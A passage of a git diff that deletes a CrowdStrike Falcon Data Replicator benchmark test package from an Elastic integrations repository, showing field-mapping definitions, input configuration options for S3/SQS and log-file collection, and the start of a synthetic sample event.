-    - name: RouterDiscoveryBehavior
-      type: keyword
-    - name: RPath
-      type: match_only_text
-    - name: RUID
-      type: keyword
-    - name: ReasonOfFunctionalityLevel
-      type: keyword
-    - name: RegBinaryValue
-      type: match_only_text
-    - name: RegCreateDisposition
-      type: match_only_text
-    - name: RegCreateOptions
-      type: match_only_text
-    - name: RegKeySecurityDecreasedCount
-      type: long
-    - name: RegPostObjectName
-      type: match_only_text
-    - name: RegRootObjectName
-      type: match_only_text
-    - name: RegStringValue
-      type: match_only_text
-    - name: RemoteAccount
-      type: keyword
-    - name: RemovableDiskFileWrittenCount
-      type: long
-    - name: RequestType
-      type: keyword
-    - name: RpcClientProcessId
-      type: keyword
-    - name: RpcClientThreadId
-      type: keyword
-    - name: RpcNestingLevel
-      type: keyword
-    - name: RpcOpClassification
-      type: match_only_text
-    - name: RpcOpNum
-      type: keyword
-    - name: RunDllInvocationCount
-      type: long
-    - name: SHA1String
-      type: keyword
-    - name: SHA256String
-      type: keyword
-    - name: SVGID
-      type: keyword
-    - name: SVUID
-      type: keyword
-    - name: SamAccountName
-      type: match_only_text
-    - name: ScopeLevel
-      type: keyword
-    - name: ScopeZone
-      type: keyword
-    - name: ScreenshotsTakenCount
-      type: long
-    - name: ScreenshotType
-      type: keyword
-    - name: ScriptContent
-      type: match_only_text
-    - name: ScriptContentBytes
-      type: match_only_text
-    - name: ScriptContentName
-      type: keyword
-    - name: ScriptContentScanId
-      type: match_only_text
-    - name: ScriptControlErrorCode
-      type: keyword
-    - name: ScriptEngineInvocationCount
-      type: long
-    - name: ScriptingLanguageId
-      type: keyword
-    - name: SensorGroupingTags
-      type: keyword
-    - name: SensorId
-      type: keyword
-    - name: SensorStateBitMap
-      type: keyword
-    - name: ServiceAccessPropertiesEtw
-      type: match_only_text
-    - name: ServiceDelayedAutoStart
-      type: match_only_text
-    - name: ServiceDependOnService
-      type: match_only_text
-    - name: ServiceDescription
-      type: keyword
-    - name: ServiceDisplayName
-      type: keyword
-    - name: ServiceErrorControl
-      type: keyword
-    - name: ServiceEventCount
-      type: long
-    - name: ServiceFailureActions
-      type: keyword
-    - name: ServiceImagePath
-      type: keyword
-    - name: ServiceSecurity
-      type: keyword
-    - name: ServiceStart
-      type: keyword
-    - name: ServiceType
-      type: keyword
-    - name: ServicePackMajor
-      type: keyword
-    - name: SessionId
-      type: keyword
-    - name: SessionProcessId
-      type: keyword
-    - name: SetThreadContextCount
-      type: long
-    - name: Severity
-      type: integer
-    - name: SeverityName
-      type: keyword
-    - name: ShareAccess
-      type: keyword
-    - name: SiteName
-      type: keyword
-    - name: Size
-      type: long
-    - name: SHA1HashData
-      type: keyword
-    - name: SHA256HashData
-      type: keyword
-    - name: ShareName
-      type: keyword
-    - name: ShareSecurity
-      type: keyword
-    - name: ShareSecuritySddl
-      type: keyword
-    - name: SignatureErrorState
-      type: keyword
-    - name: SignatureState
-      type: keyword
-    - name: SignInfoFlags
-      type: keyword
-    - name: SitePrefixLength
-      type: keyword
-    - name: SkipAsSource
-      type: keyword
-    - name: SmbClientName
-      type: keyword
-    - name: SmbShareName
-      type: keyword
-    - name: SnapshotFileOpenCount
-      type: long
-    - name: SourceAccountDomain
-      type: keyword
-    - name: SourceAccountObjectGuid
-      type: keyword
-    - name: SourceAccountObjectSid
-      type: keyword
-    - name: SourceAccountSamAccountName
-      type: keyword
-    - name: SourceEndpointAccountObjectGuid
-      type: keyword
-    - name: SourceEndpointAccountObjectSid
-      type: keyword
-    - name: SourceEndpointAddressIP4
-      type: keyword
-    - name: SourceEndpointHostName
-      type: keyword
-    - name: SourceEndpointNetworkTag
-      type: keyword
-    - name: SourceEndpointNetworkType
-      type: keyword
-    - name: SourceEventUniqueId
-      type: keyword
-    - name: SourceFileName
-      type: keyword
-    - name: SourceProcessId
-      type: keyword
-    - name: SourceProducts
-      type: keyword
-    - name: SourceThreadId
-      type: keyword
-    - name: SourceThreadModule
-      type: match_only_text
-    - name: SourceThreadStartAddress
-      type: keyword
-    - name: SourceVendors
-      type: keyword
-    - name: SpibarDataBfpr
-      type: match_only_text
-    - name: SpibarDataFreg0
-      type: match_only_text
-    - name: SpibarDataFreg1
-      type: match_only_text
-    - name: SpibarDataFreg2
-      type: match_only_text
-    - name: SpibarDataFreg3
-      type: match_only_text
-    - name: SpibarDataFreg4
-      type: match_only_text
-    - name: SpibarDataHsfs
-      type: match_only_text
-    - name: SpibarDataPr0
-      type: match_only_text
-    - name: SpibarDataPr1
-      type: match_only_text
-    - name: SpibarDataPr2
-      type: match_only_text
-    - name: SpibarDataPr3
-      type: match_only_text
-    - name: SpibarDataPr4
-      type: match_only_text
-    - name: SpibarDataVscc0
-      type: match_only_text
-    - name: SpibarDataVscc1
-      type: match_only_text
-    - name: StartTime
-      type: date
-    - name: Status
-      type: keyword
-    - name: StorageUsageInfo
-      type: match_only_text
-    - name: SubStatus
-      type: keyword
-    - name: SubjectDomainNameEtw
-      type: match_only_text
-    - name: SuffixOrigin
-      type: keyword
-    - name: SuppressType
-      type: keyword
-    - name: SuspectStackCount
-      type: long
-    - name: SuspiciousCredentialModuleLoadCount
-      type: long
-    - name: SuspiciousDnsRequestCount
-      type: long
-    - name: SuspiciousFontLoadCount
-      type: long
-    - name: SuspiciousRawDiskReadCount
-      type: long
-    - name: SymbolicLinkName
-      type: keyword
-    - name: SymbolicLinkTarget
-      type: keyword
-    - name: SyntheticPR2Flags
-      type: keyword
-    - name: SystemManufacturer
-      type: keyword
-    - name: SystemProcessCount
-      type: match_only_text
-    - name: SystemProductName
-      type: keyword
-    - name: SystemSerialNumber
-      type: keyword
-    - name: SystemSku
-      type: keyword
-    - name: SystemTableIndex
-      type: long
-    - name: Tactic
-      type: keyword
-    - name: Tags
-      type: keyword
-    - name: TargetCommandLineParameters
-      type: keyword
-    - name: TargetDomainControllerObjectGuid
-      type: keyword
-    - name: TargetDomainControllerObjectSid
-      type: keyword
-    - name: TargetFileName
-      type: keyword
-    - name: TargetSHA256HashData
-      type: keyword
-    - name: TargetThreadId
-      type: keyword
-    - name: TargetThreadModule
-      type: keyword
-    - name: TaskAuthor
-      type: keyword
-    - name: TaskExecArguments
-      type: keyword
-    - name: TaskExecCommand
-      type: keyword
-    - name: TaskName
-      type: keyword
-    - name: TaskXml
-      type: match_only_text
-    - name: Technique
-      type: keyword
-    - name: TemplateDisposition
-      type: keyword
-    - name: TemplateInstanceId
-      type: keyword
-    - name: ThreadStartAddress
-      type: keyword
-    - name: ThreadStartBytes
-      type: match_only_text
-    - name: ThreadStartContext
-      type: keyword
-    - name: Timeout
-      type: long
-    - name: TokenType
-      type: keyword
-    - name: TotalCount
-      type: long
-    - name: TransmitLinkSpeed
-      type: keyword
-    - name: TreeId
-      type: keyword
-    - name: TunnelType
-      type: keyword
-    - name: Type
-      type: keyword
-      description: 'The endpoint detection type ("ldt": Legacy Endpoint Detection, or "ofp": Office Prevention Macro Detection).'
-    - name: USN
-      type: keyword
-    - name: UninstallPendingUpdateIds
-      type: match_only_text
-    - name: UnixMode
-      type: keyword
-    - name: UnsignedModuleLoadCount
-      type: long
-    - name: UploadId
-      type: keyword
-    - name: User
-      type: keyword
-    - name: UserFlags
-      type: keyword
-    - name: UserGroupsBitmask
-      type: keyword
-    - name: UserLogoffType
-      type: keyword
-    - name: UserLogonFlags
-      type: keyword
-    - name: UserLogonFlags_decimal
-      type: keyword
-    - name: UserMemoryAllocateExecutableCount
-      type: long
-    - name: UserMemoryAllocateExecutableRemoteCount
-      type: long
-    - name: UserMemoryProtectExecutableCount
-      type: long
-    - name: UserMemoryProtectExecutableRemoteCount
-      type: long
-    - name: UserName
-      type: keyword
-    - name: UserRid
-      type: keyword
-    - name: UserSid
-      type: keyword
-    - name: UserSid_readable
-      type: keyword
-    - name: UserThread
-      type: keyword
-    - name: UserTime
-      type: long
-    - name: ValidLifetime
-      type: keyword
-    - name: VerifiedCertificate
-      type: keyword
-    - name: VersionInfo
-      type: match_only_text
-    - name: VnodeModificationType
-      type: keyword
-    - name: VnodeType
-      type: keyword
-    - name: VolumeAppearanceTime
-      type: keyword
-    - name: VolumeBusName
-      type: keyword
-    - name: VolumeBusPath
-      type: keyword
-    - name: VolumeDeviceCharacteristics
-      type: keyword
-    - name: VolumeDeviceInternal
-      type: keyword
-    - name: VolumeDeviceModel
-      type: keyword
-    - name: VolumeDeviceObjectFlags
-      type: keyword
-    - name: VolumeDevicePath
-      type: keyword
-    - name: VolumeDeviceProtocol
-      type: keyword
-    - name: VolumeDeviceRevision
-      type: keyword
-    - name: VolumeDeviceType
-      type: keyword
-    - name: VolumeDeviceVendor
-      type: match_only_text
-    - name: VolumeDriveLetter
-      type: keyword
-    - name: VolumeEncryptionStatus
-      type: keyword
-    - name: VolumeFileSystemDevice
-      type: keyword
-    - name: VolumeFileSystemDriver
-      type: keyword
-    - name: VolumeFileSystemType
-      type: keyword
-    - name: VolumeIsEncrypted
-      type: keyword
-    - name: VolumeIsNetwork
-      type: keyword
-    - name: VolumeLabel
-      type: keyword
-    - name: VolumeMediaBSDMajor
-      type: keyword
-    - name: VolumeMediaBSDMinor
-      type: keyword
-    - name: VolumeMediaBSDName
-      type: keyword
-    - name: VolumeMediaBSDUnit
-      type: keyword
-    - name: VolumeMediaContent
-      type: keyword
-    - name: VolumeMediaEjectable
-      type: keyword
-    - name: VolumeMediaName
-      type: keyword
-    - name: VolumeMediaPath
-      type: keyword
-    - name: VolumeMediaRemovable
-      type: keyword
-    - name: VolumeMediaSize
-      type: keyword
-    - name: VolumeMediaUUID
-      type: keyword
-    - name: VolumeMediaWhole
-      type: keyword
-    - name: VolumeMediaWritable
-      type: keyword
-    - name: VolumeMountPoint
-      type: keyword
-    - name: VolumeName
-      type: keyword
-    - name: VolumeOriginPath
-      type: match_only_text
-    - name: VolumeRealDeviceName
-      type: keyword
-    - name: VolumeSectorSize
-      type: keyword
-    - name: VolumeSessionUUID
-      type: keyword
-    - name: VolumeSnapshotName
-      type: match_only_text
-    - name: VolumeSnapshotTimeStamp
-      type: match_only_text
-    - name: VolumeType
-      type: keyword
-    - name: VolumeUUID
-      type: keyword
-    - name: AntiTamperStateFlag
-      type: keyword
-    - name: AssemblyFlags
-      type: keyword
-    - name: AssemblyId
-      type: keyword
-    - name: AssemblyName
-      type: keyword
-    - name: BatchDataNumber
-      type: keyword
-    - name: BatchDataTotal
-      type: keyword
-    - name: BatchTimestamp
-      type: date
-    - name: BrowserExtensionId
-      type: keyword
-    - name: BrowserExtensionInstallMethod
-      type: keyword
-    - name: BrowserExtensionStatusEnabled
-      type: keyword
-    - name: BrowserFileHash
-      type: keyword
-    - name: BrowserFilePath
-      type: keyword
-    - name: BrowserName
-      type: keyword
-    - name: BrowserProfileId
-      type: keyword
-    - name: BrowserProfileName
-      type: keyword
-    - name: BrowserVersion
-      type: keyword
-    - name: ClientProcessStartKey
-      type: keyword
-    - name: ContextProcessTagsAsString
-      type: keyword
-    - name: DotnetModuleFlags
-      type: keyword
-    - name: DotnetModuleId
-      type: keyword
-    - name: EtwProviderType
-      type: keyword
-    - name: EtwRawRpcClientProcessId
-      type: keyword
-    - name: GrandparentProcessId
-      type: keyword
-    - name: HandleOperationType
-      type: keyword
-    - name: ImageBaseName
-      type: keyword
-    - name: IsHosted
-      type: keyword
-    - name: ModuleILPath
-      type: keyword
-    - name: MountedVolumeAction
-      type: keyword
-    - name: ParentProcessPatternIdList
-      type: keyword
-    - name: RTRState
-      type: keyword
-    - name: ServiceCurrentState
-      type: keyword
-    - name: ShannonEntropy
-      type: keyword
-    - name: TargetAuthenticationId
-      type: keyword
-    - name: TargetIntegrityLevel
-      type: keyword
-    - name: TargetProcessCommandLine
-      type: keyword
-    - name: TargetProcessImageFileName
-      type: keyword
-    - name: UpdateFlag
-      type: keyword
-    - name: WindowFlags
-      type: keyword
-    - name: WmiNamespaceName
-      type: keyword
-    - name: WmiProviderName
-      type: keyword
-    - name: WmiProviderType
-      type: keyword
-    - name: WmiQuery
-      type: keyword
-    - name: AnodeIndicators
-      type: nested
-    - name: ContentPatterns
-      type: group
-      fields:
-        - name: ID
-          type: keyword
-        - name: Name
-          type: keyword
-        - name: ConfidenceLevel
-          type: long
-        - name: MatchCount
-          type: long
-    - name: Destination
-      type: nested
-    - name: Destination.Channel
-      type: keyword
-    - name: EventTimestamp
-      type: date
-    - name: FileType.Type
-      type: group
-      fields:
-        - name: CategoryID
-          type: keyword
-        - name: CategoryName
-          type: keyword
-        - name: Description
-          type: keyword
-        - name: ID
-          type: keyword
-        - name: Name
-          type: keyword
-    - name: FilesEgressedCount
-      type: long
-    - name: FileCategoryCounts
-      type: nested
-    - name: ContentPatternCounts
-      type: nested
-    - name: DetectionType
-      type: keyword
-    - name: EgressEventId
-      type: keyword
-    - name: EgressSessionId
-      type: keyword
-    - name: IsClipboard
-      type: boolean
-    - name: MatchedClassification
-      type: group
-      fields:
-        - name: ID
-          type: keyword
-        - name: Name
-          type: keyword
-    - name: OriginWebLocations
-      type: flattened
-    - name: RelatedClassifications
-      type: group
-      fields:
-        - name: ID
-          type: keyword
-        - name: Name
-          type: keyword
-    - name: ResponseAction
-      type: keyword
-    - name: RuleId
-      type: keyword
-    - name: UserNotified
-      type: boolean
-    - name: UserTitle
-      type: keyword
-    - name: UserDepartment
-      type: keyword
-    - name: UserMapped
-      type: boolean
-    - name: aipCount
-      type: integer
-    - name: assessments
-      type: flattened
-    - name: cid
-      type: keyword
-    - name: discovererCount
-      type: integer
-    - name: discoverer_aid
-      type: keyword
-    - name: eid
-      type: integer
-    - name: hostname
-      type: keyword
-    - name: id
-      type: keyword
-    - name: info.host.*
-      description: Host information enriched from aidmaster data.
-      type: object
-      object_type: keyword
-      object_type_mapping_type: '*'
-    - name: info.user.*
-      description: User information enriched from userinfo data.
-      type: object
-      object_type: keyword
-      object_type_mapping_type: '*'
-    - name: localipCount
-      type: integer
-    - name: monthsincereset
-      type: keyword
-    - name: name
-      type: keyword
-    - name: os_version
-      type: keyword
-    - name: product_type_desc
-      type: keyword
-    - name: scores
-      type: group
-      fields:
-        - name: modified_time
-          type: date
-        - name: os
-          type: long
-        - name: overall
-          type: long
-        - name: sensor
-          type: long
-        - name: version
-          type: keyword
-    - name: subnet
-      type: keyword
-    - name: finding
-      type: keyword
-    - name: disposition
-      type: keyword
-    - name: cis_benchmark_ids
-      type: keyword
-    - name: cisa_benchmark_ids
-      type: keyword
-    - name: cloud_asset_type
-      type: long
-    - name: cloudplatform
-      type: keyword
-    - name: internal_only
-      type: boolean
-    - name: iso_benchmark_ids
-      type: keyword
-    - name: nist_benchmark_ids
-      type: keyword
-    - name: pci_benchmark_ids
-      type: keyword
-    - name: policy_severity
-      type: long
-    - name: ResourceCreateTime
-      type: date
-    - name: ResourceAttributes
-      type: flattened
-    - name: ResourceId
-      type: keyword
-    - name: ResourceIdType
-      type: keyword
-    - name: resource_url
-      type: keyword
-    - name: service
-      type: keyword
-    - name: soc2_benchmark_ids
-      type: keyword
-    - name: aws_account_id
-      type: keyword
-    - name: attack_types
-      type: keyword
-    - name: event_category
-      type: keyword
-    - name: management_event
-      type: boolean
-    - name: read_only
-      type: boolean
-    - name: request_id
-      type: keyword
-    - name: request_parameters
-      type: keyword
-    - name: response_elements
-      type: keyword
-    - name: user_identity_access_key_id
-      type: keyword
-    - name: user_identity_account_id
-      type: keyword
-    - name: user_identity_arn
-      type: keyword
-    - name: user_identity_mfa_authenticated
-      type: boolean
-    - name: vertex_id
-      type: keyword
-    - name: vertex_type
-      type: keyword
-    - name: event-type
-      type: keyword
-    - name: compliance
-      type: group
-      fields:
-        - name: benchmarkNames
-          type: keyword
-        - name: frameworks
-          type: keyword
-        - name: requirements
-          type: keyword
-        - name: sections
-          type: keyword
-        - name: versions
-          type: keyword
-    - name: created
-      type: date
-    - name: crn
-      type: keyword
-    - name: firstDetected
-      type: date
-    - name: lastDetected
-      type: date
-    - name: legacyPolicyId
-      type: long
-    - name: resource
-      type: group
-      fields:
-        - name: captured
-          type: date
-        - name: legacyResourceId
-          type: keyword
-        - name: legacyResourceTypeId
-          type: long
-        - name: resourceId
-          type: keyword
-        - name: resourceType
-          type: keyword
-    - name: revision
-      type: long
-    - name: status
-      type: keyword
-    - name: url
-      type: keyword
-    - name: findings
-      type: group
-      fields:
-        - name: name
-          type: keyword
-        - name: value
-          type: keyword
-    - name: ChangeId
-      type: keyword
-    - name: ContentDiff
-      type: group
-      fields:
-        - name: Exists
-          type: boolean
-    - name: Prevalence
-      type: group
-      fields:
-        - name: Key
-          type: keyword
-    - name: Suppression
-      type: group
-      fields:
-        - name: Suppressed
-          type: boolean
-    - name: Policy
-      type: group
-      fields:
-        - name: ID
-          type: keyword
-        - name: Name
-          type: keyword
-    - name: IsEBPF
-      type: keyword
-    - name: IsFromDifferentMountNamespace
-      type: keyword
-    - name: ObjectAccessOperationType
-      type: keyword
-    - name: ObjectType
-      type: keyword
-    - name: PolicyRuleSeverity
-      type: long
-    - name: FileAttributesNew
-      type: keyword
-    - name: FileAttributesPrevious
-      type: keyword
-    - name: NewFileAttributesLinux
-      type: keyword
-    - name: NewUnixPermissions
-      type: keyword
-    - name: PreviousFileAttributesLinux
-      type: keyword
-    - name: PreviousUnixPermissions
-      type: keyword
-    - name: SecurityInformationLinux
-      type: keyword
-- name: dll.Ext.size
-  type: long
-  description: Size of DLL.
-- name: file.Ext.original.name
-  type: keyword
-- name: file.Ext.original.path
-  type: keyword
-- name: process.Ext.token.integrity_level_name
-  type: keyword
-  description: Human readable integrity level.
-- name: user.Ext.real.id
-  type: keyword
-  description: One or multiple unique identifiers of the user.
-- name: group.Ext.real.id
-  type: keyword
-  description: Unique identifier for the group on the system/platform.
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/manifest.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/manifest.yml
deleted file mode 100644
index ae80783f57..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/manifest.yml
+++ /dev/null
@@ -1,296 +0,0 @@
-title: "Falcon Data Replicator"
-type: logs
-elasticsearch:
-  index_template:
-    settings:
-      index:
-        mapping:
-          total_fields:
-            limit: 2000
-streams:
-  - input: aws-s3
-    template_path: aws-s3.yml.hbs
-    title: Falcon Data Replicator logs
-    description: Collect Falcon Data Replicator logs using s3 input
-    enabled: false
-    vars:
-      - name: access_key_id
-        type: text
-        title: Access Key ID
-        multi: false
-        required: false
-        show_user: true
-        secret: false
-      - name: secret_access_key
-        type: password
-        title: Secret Access Key
-        multi: false
-        required: false
-        show_user: true
-        secret: true
-      - name: session_token
-        type: password
-        title: Session Token
-        multi: false
-        required: false
-        show_user: true
-        secret: true
-      - name: queue_url
-        type: text
-        title: Queue URL
-        multi: false
-        required: true
-        show_user: true
-        description: URL of the AWS SQS queue that messages will be received from.
-      - name: enrich_metadata
-        required: true
-        show_user: true
-        title: Enrich Host and User Metadata
-        description: Uses data in aidmaster and userinfo to add host and user information to events. The aidmaster blob must contain the string "aidmaster" in its path and the userinfo blob path must contain "userinfo", and the FDR Notification Parsing Script must sort events so that aidmaster and userinfo events appear first in the stream.
-        type: bool
-        multi: false
-        default: true
-      - name: keep_metadata
-        required: true
-        show_user: false
-        title: Keep Original Host and User Metadata
-        description: Keep the aidmaster and userinfo documents after they have been used for event enrichment.
-        type: bool
-        multi: false
-        default: false
-      - name: metadata_ttl
-        required: true
-        show_user: true
-        title: Metadata TTL
-        description: The period of time that metadata is considered valid for. Valid time units are h, m, s, ms, us/µs and ns.
-        type: text
-        multi: false
-        default: 168h
-      - name: metadata_cache_capacity
-        required: true
-        show_user: false
-        title: Metadata cache capacity
-        description: "The maximum amount of metadata objects to cache. Operations that would cause the capacity to be exceeded will result in evictions of the oldest elements. The capacity should not be lower than the number of elements that are expected to be referenced when processing the input as evicted elements are lost. Values at or below zero indicate no limit. \nWARNING: This setting needs to be set only if the amount of metadata elements is known beforehand, otherwise it might lead to enrichment data loss. If you are not sure, leave it untouched.\n"
-        type: text
-        multi: false
-        default: 0
-      - name: metadata_cache_write_interval
-        required: true
-        show_user: false
-        title: Metadata cache write interval
-        description: The interval between periodic cache writes to the backing file. Valid time units are h, m, s, ms, us/µs and ns. The contents are always written out to the backing file when the processor is closed. Default is zero, no periodic writes.
-        type: text
-        multi: false
-        default: 0
-      - name: long_fields
-        title: Long Fields
-        description: Choose to `Index` or `Delete` long fields. Fields longer than 1024 bytes (except `event.original`) will be kept (indexed) or deleted based on this option.
-        type: select
-        multi: false
-        required: true
-        show_user: false
-        options:
-          - text: Index
-            value: index_long_fields
-          - text: Delete
-            value: delete_long_fields
-        default: index_long_fields
-      - name: long_fields_max_length
-        type: integer
-        title: Maximum Length of Fields
-        description: The maximum length of fields (in bytes) to consider them as too long. By default, fields larger than `1024` bytes are considered too long. This option in addition to `Long Fields` option helps users configure how integration should handle long fields.
-        default: 1024
-        required: true
-        show_user: false
-      - name: enable_deduplication
-        title: Enable Data Deduplication
-        required: true
-        show_user: false
-        description: If data deduplication is enabled, it ensures that no duplicate events are indexed. This is achieved by generating an `_id` value based on the content of each event using the [fingerprint processor](https://www.elastic.co/guide/en/elasticsearch/reference/current/fingerprint-processor.html). If the option is disabled, every received event will be indexed with a unique `_id` generated by Elasticsearch (overriding the the AWS-S3 input's [_id-Based Deduplication](https://www.elastic.co/docs/reference/beats/filebeat/filebeat-input-aws-s3#_document_id_generation) feature).
-        type: bool
-        multi: false
-        default: false
-      - name: preserve_original_event
-        required: true
-        show_user: true
-        title: Preserve original event
-        description: Preserves a raw copy of the original event, added to the field `event.original`
-        type: bool
-        multi: false
-        default: false
-      - name: shared_credential_file
-        type: text
-        title: Shared Credential File
-        multi: false
-        required: false
-        show_user: false
-        description: Directory of the shared credentials file
-      - name: credential_profile_name
-        type: text
-        title: Credential Profile Name
-        multi: false
-        required: false
-        show_user: false
-      - name: role_arn
-        type: text
-        title: Role ARN
-        multi: false
-        required: false
-        show_user: false
-      - name: endpoint
-        type: text
-        title: Endpoint
-        multi: false
-        required: false
-        show_user: false
-        default: ""
-        description: URL of the entry point for an AWS web service
-      - name: default_region
-        type: text
-        title: Default AWS Region
-        multi: false
-        required: false
-        show_user: false
-        default: ""
-        description: Default region to use prior to connecting to region specific services/endpoints if no AWS region is set from environment variable, credentials or instance profile. If none of the above are set and no default region is set as well, `us-east-1` is used. A region, either from environment variable, credentials or instance profile or from this default region setting, needs to be set when using regions in non-regular AWS environments such as AWS China or US Government Isolated.
-      - name: visibility_timeout
-        type: text
-        title: Visibility Timeout
-        multi: false
-        required: false
-        show_user: false
-        description: The duration that the received messages are hidden from subsequent retrieve requests after being retrieved by a ReceiveMessage request. The maximum is 12 hours. Valid time units are h, m, s.
-      - name: api_timeout
-        type: text
-        title: API Timeout
-        multi: false
-        required: false
-        show_user: false
-        description: The maximum duration of AWS API can take. The maximum is half of the visibility timeout value. Valid time units are h, m, s.
-      - name: fips_enabled
-        type: bool
-        title: Enable S3 FIPS
-        default: false
-        multi: false
-        required: false
-        show_user: false
-        description: Enabling this option changes the service name from `s3` to `s3-fips` for connecting to the correct service endpoint.
-      - name: proxy_url
-        type: text
-        title: Proxy URL
-        multi: false
-        required: false
-        show_user: false
-        description: URL to proxy connections in the form of http\[s\]://<user>:<password>@<server name/ip>:<port>
-      - name: tags
-        type: text
-        title: Tags
-        multi: true
-        show_user: false
-        default:
-          - forwarded
-          - crowdstrike-fdr
-      - name: processors
-        type: yaml
-        title: Processors
-        multi: false
-        required: false
-        show_user: false
-        description: >
-          Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details.
-
-      - name: max_number_of_messages
-        type: integer
-        title: Maximum Concurrent SQS Messages
-        description: Deprecated in agent version 8.16.0, this parameter is ignored if present, use `Number of Workers` instead. The maximum number of SQS messages that can be in flight at any time.
-        default: 5
-        required: false
-        show_user: false
-      - name: number_of_workers
-        type: integer
-        title: Number of Workers
-        description: Number of workers that will process the S3 or SQS objects listed.
-        default: 5
-        required: false
-        show_user: false
-
-      - name: prune_fields
-        type: bool
-        title: Prune Fields
-        default: true
-        multi: false
-        required: false
-        show_user: false
-        description: >-
-          Prune fields deletes fields that are less likely to be useful. This includes `agent.ephemeral_id`, `ecs.version`,
-          `event.timezone` and `log.offset`.
-  - input: logfile
-    title: Falcon Data Replicator logs
-    description: Collect Falcon Data Replicator logs using a log file
-    enabled: false
-    vars:
-      - name: paths
-        type: text
-        title: Paths
-        multi: true
-        default:
-          - /var/log/falcon_data_replicator.log
-        show_user: true
-      - name: enrich_host_metadata
-        required: true
-        show_user: true
-        title: Enrich Host and User Metadata
-        description: Uses data in aidmaster and userinfo to add host and user information to events. The aidmaster file must be included in the paths configuration, include the string "aidmaster" in the path host information file path and "userinfo" in the user information file bath, and have a file paths that sorts before the FDR log file paths.
-        type: bool
-        multi: false
-        default: true
-      - name: keep_metadata
-        required: true
-        show_user: false
-        title: Keep Original Host and User Metadata
-        description: Keep the aidmaster and userinfo documents after they have been used for event enrichment.
-        type: bool
-        multi: false
-        default: false
-      - name: metadata_ttl
-        required: true
-        show_user: true
-        title: Metadata TTL
-        description: The period of time that host metadata is considered valid for. Valid time units are h, m, s, ms, us/µs and ns.
-        type: text
-        multi: false
-        default: 168h
-      - name: preserve_original_event
-        required: true
-        show_user: true
-        title: Preserve original event
-        description: Preserves a raw copy of the original event, added to the field `event.original`
-        type: bool
-        multi: false
-        default: false
-      - name: tags
-        type: text
-        title: Tags
-        multi: true
-        show_user: false
-        default:
-          - forwarded
-          - crowdstrike-fdr
-      - name: processors
-        type: yaml
-        title: Processors
-        multi: false
-        required: false
-        show_user: false
-        description: >
-          Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details.
-      - name: prune_fields
-        type: bool
-        title: Prune Fields
-        default: true
-        multi: false
-        required: false
-        show_user: false
-        description: >-
-          Prune fields deletes fields that are less likely to be useful. This includes `agent.ephemeral_id`, `ecs.version`,
-          `event.timezone` and `log.offset`.
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/sample_event.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/sample_event.json
deleted file mode 100644
index a9e86832a5..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/sample_event.json
+++ /dev/null
@@ -1,213 +0,0 @@
-{
-    "@timestamp": "2020-10-01T09:58:32.519Z",
-    "agent": {
-        "id": "eb2db106-5958-49b5-ae25-c286e62857e1",
-        "name": "elastic-agent-67101",
-        "type": "filebeat",
-        "version": "8.18.0"
-    },
-    "aws": {
-        "s3": {
-            "bucket": {
-                "name": "elastic-package-crowdstrike-fdr-19614"
-            },
-            "object": {
-                "key": "data"
-            }
-        }
-    },
-    "crowdstrike": {
-        "AuthenticationId": "3783389",
-        "ConfigStateHash": "3998263252",
-        "EffectiveTransmissionClass": "3",
-        "Entitlements": "15",
-        "ImageSubsystem": "2",
-        "IntegrityLevel": "4096",
-        "MD5HashData": "50d5fd1290d94d46acca0585311e74d5",
-        "ParentAuthenticationId": "3783389",
-        "ProcessCreateFlags": "525332",
-        "ProcessParameterFlags": "16385",
-        "ProcessSxsFlags": "1600",
-        "RpcClientProcessId": "2439558094566",
-        "SHA256HashData": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37",
-        "SessionId": "1",
-        "SourceProcessId": "2439558094566",
-        "SourceThreadId": "77538684027214",
-        "Tags": [
-            "41",
-            "12094627905582",
-            "12094627906234"
-        ],
-        "TokenType": "2",
-        "WindowFlags": "128",
-        "cid": "ffffffff30a3407dae27d0503611022d",
-        "id": "ffffffff-1111-11eb-8462-02ade3b2f949",
-        "info": {
-            "host": {
-                "AgentLoadFlags": "1",
-                "AgentLocalTime": "1697775225",
-                "AgentTimeOffset": "15889.017",
-                "AgentVersion": "7.01.13922.0",
-                "BiosManufacturer": "Iris",
-                "BiosVersion": "vG17V.21040423/z64",
-                "ChassisType": "Other",
-                "City": "Chicago",
-                "ConfigBuild": "1007.3.0017312.1",
-                "ConfigIDBuild": "13922",
-                "Continent": "North America",
-                "Country": "United States of America",
-                "FalconGroupingTags": "'FalconGroupingTags/AMERICA'",
-                "FirstSeen": "1628678052.0",
-                "HostHiddenStatus": "Visible",
-                "MachineDomain": "groot.org",
-                "OU": "Servers;America;Offices",
-                "PointerSize": "8",
-                "ProductType": "3.0",
-                "ServicePackMajor": "0",
-                "SiteName": "BCL",
-                "SystemManufacturer": "Iris",
-                "SystemProductName": "IrOS",
-                "Time": "1697992719.22",
-                "Timezone": "America/Chicago",
-                "Version": "Windows Server 2021",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "event_platform": "Win"
-            },
-            "user": {
-                "AccountType": "Domain User",
-                "LastLoggedOnHost": "COMPUTER1",
-                "LocalAdminAccess": "No",
-                "LogonInfo": "Domain User Logon",
-                "LogonTime": "1702546155.197",
-                "LogonType": "Interactive",
-                "PasswordLastSet": "1699971198.062",
-                "User": "DOMAIN\\BRADLEYA",
-                "UserIsAdmin": "0",
-                "UserLogonFlags_decimal": "0",
-                "_time": "1702546168.576",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "event_platform": "Win",
-                "monthsincereset": "1.0"
-            }
-        },
-        "name": "ProcessRollup2V18"
-    },
-    "data_stream": {
-        "dataset": "crowdstrike.fdr",
-        "namespace": "27890",
-        "type": "logs"
-    },
-    "device": {
